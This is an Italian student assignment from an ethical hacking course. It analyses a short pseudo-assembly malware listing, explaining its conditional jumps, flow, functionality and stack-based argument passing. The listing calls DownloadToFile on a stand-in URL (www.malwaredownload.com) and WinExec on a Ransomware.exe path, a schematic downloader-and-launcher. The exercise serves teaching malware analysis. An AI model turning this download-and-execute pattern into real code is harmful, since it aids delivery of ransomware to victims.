PROGETTO
CYBER SECURITY & ETHICAL HACKING

Aguglia Andrea

TRACCIA:

- Spiegate, motivando, quale salto condizionale effettua il Malware
- Disegnare un diagramma di flusso (prendete come esempio la visualizzazione grafica di IDA) identificando i salti condizionali (sia quelli effettuati che quelli non effettuati). Indicate con una linea verdei salti effettuati, mentre con una linea rossai salti non effettuati.
- Quali sono le diverse funzionalità implementate all'interno del Malware?
- Con riferimento alle istruzioni «call» presenti in tabella 2 e 3, dettagliare come sono passati gli argomenti alle successive chiamate di funzione . Aggiungere eventuali dettagli tecnici/teorici.

Locazione	Istruzione	Operandi	Note
00401040	mov	EAX, 5	
00401044	mov	EBX, 10	
00401048	cmp	EAX, 5	
0040105B	jnz	loc 0040BBA0	; tabella 2
0040105F	inc	EBX	
00401064	cmp	EBX, 11	
00401068	jz	loc 0040FFA0	; tabella 3

1

Facendo riferimento alla tabella , il malware esegue un salto condizionale presso la posizione di memoria 00401068. In particolare, l'istruzione "jz" effettua il salto alla posizione specificata solo se gli operandi dell'istruzione "cmp" precedente sono uguali. Nel caso in questione, tale condizione si verifica poiché il valore di EBX è pari a 11.

2

Locazione	Istruzione	Operandi
00401040	mov	EAX, 5
00401044	mov	EBX, 10
00401048	cmp	EAX, 5
0040105B	jnz	loc 0040BBA0
0040105F	inc	EBX
00401064	cmp	EBX, 11
00401068	jz	loc 0040FFA0

0040BBA0	mov	EAX, EDI
0040BBA4	push	EAX
0040BBA8	call	DownloadToFile ()

0040FFA0	mov	EDX, EDI
0040FFA4	push	EDX
0040FFA8	call	WinExec()

3

Scaricare un Malware da Internet:

- Il malware, quando raggiunge la locazione 0040BBA0, muove l'indirizzo specificato da EDI (www.malwaredownload.com) nel registro EAX.
- Successivamente, il malware chiama una pseudo-funzione denominata DownloadToFile. Questa funzione presumibilmente gestisce il download di un file dal sito web specificato e lo salva localmente.

Eseguire un Malware presente sul PC locale:

- Quando il flusso di controllo arriva alla locazione 0040FFA0, il malware muove l'indirizzo specificato da EDI (C:\Program and Settings\Local User\Desktop\Ransomware.exe) nel registro EDX.
- Successivamente, il malware chiama una pseudo-funzione denominata WinExec. Questa funzione presumibilmente gestisce l'esecuzione del file specificato sul sistema.

4

Locazione	Istruzione	Operandi	Note
0040BBA0	mov	EAX, EDI	EDI= www.malwaredownload.com
0040BBA4	push	EAX	; URL
0040BBA8	call	DownloadToFile ()	; pseudo funzione

Nel contesto di questa chiamata di funzione, l'indirizzo contenuto in EDI viene caricato nel registro EAX. Successivamente, questo valore (l'indirizzo) viene messo nello stack con l'istruzione push EAX. La funzione DownloadToFile() potrebbe quindi accedere all'argomento passato, presumibilmente l'URL da cui scaricare il malware, attraverso l'indirizzo nello stack.

Locazione	Istruzione	Operandi	Note
0040FFA0	mov	EDX, EDI	EDI: C:\Program and Settings \Local User\Desktop\Ransomware.exe
0040FFA4	push	EDX	; .exe da eseguire
0040FFA8	call	WinExec()	; pseudo funzione

In questo caso, l'indirizzo contenuto in EDI viene caricato nel registro EDX. Quindi, l'indirizzo (il percorso del file da eseguire) viene messo nello stack con push EDX. La funzione WinExec() potrebbe quindi accedere a questo argomento nello stack per ottenere il percorso del file che deve essere eseguito.